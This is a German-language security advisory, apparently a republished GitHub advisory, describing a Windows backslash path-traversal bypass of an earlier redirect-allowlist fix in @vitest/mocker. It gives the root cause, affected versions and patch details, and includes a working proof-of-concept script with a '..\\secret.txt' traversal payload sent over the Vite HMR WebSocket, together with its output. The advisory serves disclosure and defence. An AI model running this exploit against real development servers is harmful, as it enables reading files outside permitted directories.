Vitest: Windows-Backslash-Traversal umgeht Fix der Redirect-Allowlist in @vitest/mocker
Zusammenfassung
Der für GHSA-82fw-gwwq-j7x9 veröffentlichte Fix für Pfadüberquerung (Path Traversal) kann unter Windows umgangen werden, indem im Pfad der Weiterleitungs-URL ein Backslash verwendet wird.
Der korrigierte Code verbindet einen vom Angreifer kontrollierten URL-Pfad mithilfe von node:path/posix mit dem Vite-Stammverzeichnis und übergibt diese Zeichenkette anschließend an die Vite-Dateizulassungsprüfung. Unter Windows behält ein Wert wie C:/project/root/..\secret.txt während des POSIX-Joins ..\ bei und beginnt mit dem erlaubten Stammverzeichnis, sodass die Zulassungsliste diesen akzeptiert. Der nachfolgende Aufruf von readFile() nutzt die Semantik des Windows-Dateisystems, in dem der Backslash als Pfadtrennzeichen interpretiert wird, und liest die Geschwisterdatei außerhalb des konfigurierten Stammverzeichnisses.
Das Verhalten wurde mit den veröffentlichten @vitest/mocker-Paketen in beiden korrigierten Release-Zweigen reproduziert:
@vitest/mocker@4.1.11@vitest/mocker@5.0.0
Der Quellcode von main beim Commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 wies dasselbe Verhalten auf.
Patches
Behoben in @vitest/mocker 5.0.3, veröffentlicht am 2026-09-30 (PR #11377), und rückportiert auf 4.1.12. Die Weiterleitungsregistrierung wandelt nun Backslashes im URL-Pfad vor dem Zusammenfügen mit dem Stammverzeichnis in normale Schrägstriche um, sodass ..\ wie ../ aufgelöst und durch die Zulassungsprüfung abgewiesen wird.
Verhältnis zu GHSA-82fw-gwwq-j7x9
Es handelt sich um eine Umgehung des ursprünglichen Fixes und nicht um einen separaten Pfad. Sie verwendet dieselbe vitest:interceptor:register-Weiterleitungsregistrierung und dieselbe Senke zum Auslesen von Dateien wie in der ursprünglichen Meldung. Eine Pfadüberquerung mit Schrägstrichen wird nach dem Fix blockiert, während die äquivalente Windows-Backslash-Variante akzeptiert wird.
In der ursprünglichen Meldung wurden 4.1.11 und 5.0.0-rc.2 als korrigiert angegeben. Die durch den unvollständigen Fix neu betroffenen Versionsbereiche sind daher:
4.1.11>=5.0.0-rc.2, <5.0.3
Ältere betroffene Versionen werden weiterhin durch GHSA-82fw-gwwq-j7x9 abgedeckt.
Ursache
packages/mocker/src/node/interceptorPlugin.ts importiert join aus node:path/posix. Die Registrierung von Weiterleitungen führt derzeit das Äquivalent von folgendem aus:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
Der registrierte Wert erreicht später:
readFile(mock.redirect, 'utf-8')
Die Zulassungsprüfung von Vite erwartet einen normalisierten absoluten Dateisystempfad. Unter Windows normalisiert der POSIX-Join Backslashes nicht, während readFile diese als Trennzeichen interpretiert. Die Prüfung und die Senke interpretieren dieselbe Zeichenkette daher unterschiedlich.
Das authentifizierte Browser-RPC-Fallback in packages/browser/src/node/rpc.ts ist nicht betroffen: Es verbindet den Pfad mit pathe, wodurch Backslashes vor der Zugriffskontrolle in reguläre Schrägstriche umgewandelt werden. Die Reproduktion zielt auf den öffentlichen Mocker-WebSocket-Registrierungspfad ab.
Voraussetzungen und Auswirkungen
Ein Client, der einen Vite-Server über die öffentliche mockerPlugin- oder eigenständige interceptorPlugin-WebSocket-Registrierung erreichen kann, kann einen Weiterleitungs-Mock registrieren. Unter Windows kann der Client anschließend das registrierte Modul abrufen und eine Datei außerhalb von server.fs.allow lesen, auf die das Vitest/Vite-Prozesskonto Zugriff hat. Der Vitest-Browser-Modus registriert diese WebSocket-Handler in den betroffenen Versionen nicht.
Die Reproduktion nutzt eine nicht authentifizierte Vite-HMR-WebSocket-Verbindung und eine normale HTTP-GET-Anfrage. Die interne Transform-API des Plugins wird nicht aufgerufen. Die tatsächliche Netzwerkerreichbarkeit entspricht den in der ursprünglichen Meldung beschriebenen Einsatzbedingungen; standardmäßig nur lokal gebundene Entwicklungsserver sind entsprechend weniger exponiert.
Reproduktion
Getestet auf GitHub-hosted Windows Server 2025 mit Node.js 22. Der Test erstellt ausschließlich temporäre synthetische Dateien: ein Vite-Stammverzeichnis und ein benachbartes secret.txt mit einem Canary-Wert.
Installieren Sie die Abhängigkeiten für eine der betroffenen Produktlinien:
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs
poc.mjs:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}
Beobachtet mit @vitest/mocker@4.1.11:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
Das gleiche Ergebnis wurde mit @vitest/mocker@5.0.0 festgestellt.
Dies beinhaltet zwei nützliche Kontrollprüfungen:
traversal:../secret.txtwird abgewiesen und gibt 404 zurück, was bestätigt, dass der veröffentlichte Fix für Schrägstriche aktiv ist.traversal:..\secret.txtgibt 200 und den exakten Canary-Inhalt außerhalb des Stammverzeichnisses zurück, was die Umgehung durch Windows-Trennzeichen anstelle einer nicht verwandten Route bestätigt.
Was zu tun ist
Aktualisieren Sie auf @vitest/mocker 5.0.3, 4.1.12 oder neuer. Der Patch wandelt Backslashes in URL-Pfaden vor dem Verbinden mit dem Stammverzeichnis in Schrägstriche um und verhindert so die Umgehung.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @vitest/mocker | >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 | 4.1.12, 5.0.3 |
Verweise
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp
- https://nvd.nist.gov/vuln/detail/CVE-2026-112950
- https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35
- https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473
- https://github.com/vitest-dev/vitest
- https://github.com/vitest-dev/vitest/releases/tag/v4.1.12
- https://github.com/vitest-dev/vitest/releases/tag/v5.0.3
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N- Schwäche (CWE)
CWE-22- Plattform
- npm
- Paket
@vitest/mocker- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 22.10.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-xp26-3454-mjgp - CC BY 4.0
Schwachstellenhistorie: @vitest/mocker
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 09.2026 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Mittel 2
Veröffentlichungen pro Jahr
- 2026: 2
-
Vitest: Windows-Backslash-Traversal umgeht Fix der Redirect-Allowlist in @vitest/mocker dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.